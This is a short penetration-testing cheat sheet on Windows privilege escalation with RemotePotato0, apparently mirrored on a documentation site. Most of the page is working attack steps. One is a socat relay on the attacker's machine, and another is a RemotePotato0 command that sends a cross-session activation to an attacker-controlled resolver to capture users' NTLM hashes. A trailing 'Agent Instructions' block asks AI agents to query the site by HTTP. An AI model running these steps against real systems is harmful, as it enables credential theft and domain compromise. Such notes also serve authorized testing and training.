# Windows PrivEsc with RemotePotato

### [Exploit](https://exploit-notes.hdks.org/exploit/windows/privilege-escalation/windows-privesc-with-remotepotato/#exploit) <a href="#exploit" id="exploit"></a>

In local machine, start port forwarding.

```bash
sudo socat tcp-listen:135,fork,reuseaddr tcp:<remote-ip>:9999
Copied!
```

In target Windows machine, run `RemotePotato`. We can download the executable from <https://github.com/antonioCoco/RemotePotato0>.

```powershell
# -m: Module (2: Rpc capture server + potato trigger)
# -x: Rogue Oxid resolver ip
# -s: Session id for the Cross Session Activation attack
.\RemotePotato0.exe -m 2 -x <local-ip> -p 9999 -s 1
Copied!
```

After that, we might be able to user password (NTLM hash).

### References

* <https://github.com/antonioCoco/RemotePotato0>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://morgan-bin-bash.gitbook.io/ad-privilege-escalation/windows-privesc-with-remotepotato.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
